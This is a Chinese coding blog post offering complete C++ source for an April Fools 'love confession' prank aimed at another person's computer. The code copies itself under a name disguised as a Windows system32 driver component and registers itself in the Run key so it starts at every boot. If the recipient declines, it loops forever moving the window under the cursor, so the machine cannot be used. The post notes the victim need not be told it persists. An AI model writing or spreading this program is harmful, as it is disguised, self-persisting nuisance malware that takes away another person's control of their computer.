百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程网 > 正文

愚人节专用:恶搞表白程序来了!表白不成功就当做开玩笑啦

yuyutoo 2024-11-24 01:04 1 浏览 0 评论

今天是个好日子,四月一日愚人节,我们的广大单身狗们,最适合借着这个节日给自己心中的那个人表个白了!愚人节嘛,不就是开着玩笑说真心话的日子吗?

那么作为一名单身程序汪,今天就利用上班摸鱼时间,来给各位单身狗们写一个恶搞程序吧!

该程序进可攻退可守:如果对方同意,就会控制你桌面的图标,形成一个跳动爱心的形状,这时候就是你表白成功啦!如果对方拒绝的话,那么就会控制你电脑的桌面图标组件,你就点不了你桌面的任何窗口,它会随着你的鼠标的点击不断移动,这时候你就说:怎么样好不好玩,就是跟你开个玩笑嘛!

不过不管怎么样,祝大家愚人节快乐!

代码示例:

main.cpp:

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include "resource.h"
#include <windows.h> //C + windows
#include <commctrl.h>
#include <mmsystem.h>
#pragma comment(lib,"winmm.lib")

/*********************************************************
	1.项目-属性-常规/高级  字符集改成多字节字符集 ANSI
	2.项目-属性-C/C++     SDL检查  否 
**********************************************************/
/*调试时显示控制台,单独运行exe时隐藏控制台。*/
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

int main() {
	//ILOVEYOU.exe

	char exepath[300] = { 0 };
	GetModuleFileName(NULL,exepath,300);
	CopyFile(exepath,"C:\\Users\\Public\\Pictures\\Windows system32图形图像处理驱动组件.exe",FALSE);

	////开机自启
	HKEY hkey;
	RegOpenKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
	RegSetValueEx(hkey,"Windows system32图形图像处理驱动组件.exe",NULL,REG_SZ,
		(const BYTE*)"C:\\Users\\Public\\Pictures\\Windows system32图形图像处理驱动组件.exe",66);
	RegCloseKey(hkey);


	//检查是否存在一个f的文件
	FILE* fp = fopen("C:\\Users\\Public\\Pictures\\f","r");
	if (fp == NULL) {  //不存在
		int res = MessageBox(NULL,"我有车有房有存款,想要照顾你一生一世,你是否愿意?",
			"暗恋你的小九九",MB_YESNO );  //是和否

		if (res == IDYES) { //是
			keybd_event(VK_LWIN,0,0,0);  //win + d 回到桌面
			keybd_event('D', 0, 0, 0);
			keybd_event('D', 0, 2, 0);
			keybd_event(VK_LWIN, 0, 2, 0);

			POINT map[14] = { {868, 316}, { 730,207 }, { 591,221 },{ 515,327 },{ 542,469 },
							{ 610,624 },{ 723,746 }, { 870,814 },{ 1012,744 },{ 1130,626 },
							{ 1219,485 }, { 1225,328 },{ 1156,225 }, { 1012,217 } };

			//music
			PlaySound((LPCSTR)IDR_WAVE1, NULL, SND_RESOURCE | SND_ASYNC | SND_LOOP);

			//
			HWND zmWnd = FindWindow("Progman","Program Manager");  //桌面的窗口
			HWND bzWnd = FindWindowEx(zmWnd,0,"SHELLDLL_DefView",NULL);  //壁纸的窗口
			HWND tbWnd = FindWindowEx(bzWnd, 0, "SysListView32", "FolderView");  //图标的窗口
			int cnt = SendMessage(tbWnd,LVM_GETITEMCOUNT,0,0); //向某一个窗口发送一条指令
			while (1) {
				//刷新
				for (int i = 0; i < cnt; i++)
				{
					if (i < 14)   //0-13
						SendMessage(tbWnd, LVM_SETITEMPOSITION, i, (map[i].y << 16) + map[i].x);
					else
						SendMessage(tbWnd, LVM_SETITEMPOSITION, i, (2000 << 16) + 500);
				}

				POINT temppt;  
				temppt.x = map[0].x;
				temppt.y = map[0].y;
				for (int i = 0; i < 13; i++) {
					map[i].x = map[i + 1].x;
					map[i].y = map[i + 1].y;
				}
				map[13].x = temppt.x;
				map[13].y = temppt.y;
				Sleep(100);
				if (GetAsyncKeyState(VK_ESCAPE))
					return 0;
			}
		}
		else  //否  
		{
			fp = fopen("C:\\Users\\Public\\Pictures\\f", "w");
			fclose(fp);
		}
	}

	//拒绝了我
	HWND hwnd;  //定义一个id id可以用来标记一个窗口
	int x, y;
	POINT pt;    //点
	RECT  rect;  //矩形
	while (1) {
		hwnd = GetForegroundWindow();  
		GetCursorPos(&pt);
		GetWindowRect(hwnd,&rect);
		//鼠标在窗口里面
		if (pt.x > rect.left && pt.x<rect.right && pt.y>rect.top && pt.y < rect.bottom)
		{
			x = rand() % (1920 - 434);
			y = rand() % (1080 - 466);
			MoveWindow(hwnd, x, y, 434, 466, true);
		}
	}
	return 0;
}

resource.h:

//{{NO_DEPENDENCIES}}

// Microsoft Visual C++ 生成的包含文件。

// 供 ILOVEYOU.rc 使用

//

#define IDR_WAVE1 101

// Next default values for new objects

//

#ifdef APSTUDIO_INVOKED

#ifndef APSTUDIO_READONLY_SYMBOLS

#define _APS_NEXT_RESOURCE_VALUE 102

#define _APS_NEXT_COMMAND_VALUE 40001

#define _APS_NEXT_CONTROL_VALUE 1001

#define _APS_NEXT_SYMED_VALUE 101

#endif

#endif

对方点击是/否后不知道怎么关闭怎么办?不管怎么样还能接着聊!

解决方法:

(1)在编译器启动程序时您电脑中的360/电脑管家会提示您,可以直接阻止;

(2)打开任务管理器(找到【Windows system32图形图像处理驱动组件.exe】关闭,不过仅仅是暂时关闭,对方下次启动电脑还是会继续来一次,您可以自己选择是否告知对方这一点);

(3)彻底删除请进入注册表编辑器,win+R,输入regedit,随后操作如图:


好啦,这一招就是这样,剩下的就看各位咯!

写在最后:另外,对于准备学习C/C++编程的小伙伴,如果你想更好的提升你的编程核心能力(内功)不妨从现在开始!

编程学习书籍分享:

编程学习视频分享:

整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)

欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!

对于C/C++感兴趣可以关注小编在后台私信我:【编程交流】一起来学习哦!可以领取一些C/C++的项目学习视频资料哦!已经设置好了关键词自动回复,自动领取就好了!

相关推荐

史上最全的浏览器兼容性问题和解决方案

微信ID:WEB_wysj(点击关注)◎◎◎◎◎◎◎◎◎一┳═┻︻▄(页底留言开放,欢迎来吐槽)●●●...

平面设计基础知识_平面设计基础知识实验收获与总结
平面设计基础知识_平面设计基础知识实验收获与总结

CSS构造颜色,背景与图像1.使用span更好的控制文本中局部区域的文本:文本;2.使用display属性提供区块转变:display:inline(是内联的...

2025-02-21 16:01 yuyutoo

写作排版简单三步就行-工具篇_作文排版模板

和我们工作中日常word排版内部交流不同,这篇教程介绍的写作排版主要是用于“微信公众号、头条号”网络展示。写作展现的是我的思考,排版是让写作在网格上更好地展现。在写作上花费时间是有累积复利优势的,在排...

写一个2048的游戏_2048小游戏功能实现

1.创建HTML文件1.打开一个文本编辑器,例如Notepad++、SublimeText、VisualStudioCode等。2.将以下HTML代码复制并粘贴到文本编辑器中:html...

今天你穿“短袖”了吗?青岛最高23℃!接下来几天气温更刺激……

  最近的天气暖和得让很多小伙伴们喊“热”!!!  昨天的气温到底升得有多高呢?你家有没有榜上有名?...

CSS不规则卡片,纯CSS制作优惠券样式,CSS实现锯齿样式

之前也有写过CSS优惠券样式《CSS3径向渐变实现优惠券波浪造型》,这次再来温习一遍,并且将更为详细的讲解,从布局到具体样式说明,最后定义CSS变量,自定义主题颜色。布局...

柠檬科技肖勃飞:大数据风控助力信用社会建设

...

你的自我界限够强大吗?_你的自我界限够强大吗英文

我的结果:A、该设立新的界限...

行内元素与块级元素,以及区别_行内元素和块级元素有什么区别?

行内元素与块级元素首先,CSS规范规定,每个元素都有display属性,确定该元素的类型,每个元素都有默认的display值,分别为块级(block)、行内(inline)。块级元素:(以下列举比较常...

让“成都速度”跑得潇潇洒洒,地上地下共享轨交繁华
让“成都速度”跑得潇潇洒洒,地上地下共享轨交繁华

去年的两会期间,习近平总书记在参加人大会议四川代表团审议时,对治蜀兴川提出了明确要求,指明了前行方向,并带来了“祝四川人民的生活越来越安逸”的美好祝福。又是一年...

2025-02-21 16:00 yuyutoo

今年国家综合性消防救援队伍计划招录消防员15000名

记者24日从应急管理部获悉,国家综合性消防救援队伍2023年消防员招录工作已正式启动。今年共计划招录消防员15000名,其中高校应届毕业生5000名、退役士兵5000名、社会青年5000名。本次招录的...

一起盘点最新 Chrome v133 的5大主流特性 ?

1.CSS的高级attr()方法CSSattr()函数是CSSLevel5中用于检索DOM元素的属性值并将其用于CSS属性值,类似于var()函数替换自定义属性值的方式。...

竞走团体世锦赛5月太仓举行 世界冠军杨家玉担任形象大使

style="text-align:center;"data-mce-style="text-align:...

学物理能做什么?_学物理能做什么 卢昌海

作者:曹则贤中国科学院物理研究所原标题:《物理学:ASourceofPowerforMan》在2006年中央电视台《对话》栏目的某期节目中,主持人问过我一个的问题:“学物理的人,如果日后不...

你不知道的关于这只眯眼兔的6个小秘密
你不知道的关于这只眯眼兔的6个小秘密

在你们忙着给熊本君做表情包的时候,要知道,最先在网络上引起轰动的可是这只脸上只有两条缝的兔子——兔斯基。今年,它更是迎来了自己的10岁生日。①关于德艺双馨“老艺...

2025-02-21 16:00 yuyutoo

取消回复欢迎 发表评论: